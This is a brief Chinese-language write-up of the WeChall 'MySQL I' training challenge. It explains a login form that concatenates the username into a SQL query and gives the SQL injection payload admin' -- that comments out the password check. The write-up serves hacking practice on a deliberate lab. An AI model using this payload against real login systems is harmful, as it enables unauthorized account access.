WeChall - Training - MySQL I
经典 MySQL 认证绕过。登录表单直接将用户输入拼接进 SQL 查询。
Challenge
目标:以 admin 身份登录。
源码中的查询逻辑:
1 | $password = md5($password); |
$username直接从 POST 参数拼接,无任何过滤$password经过md5()编码后再拼接,注入困难
1 | if (strtolower($result['username']) === 'admin') { |
要求返回的 username 字段为 admin(大小写不敏感)。
Solution
在 username 注入 SQL 注释,截断密码检查:
1 | Username: admin' -- |
实际执行的 SQL:
1 | SELECT * FROM users WHERE username='admin' -- ' AND password='<md5>' |
-- 后的内容被注释掉,查询只检查
username='admin'。数据库中存在 admin
用户,返回其数据,strtolower($result['username']) === 'admin'
成立,挑战解决。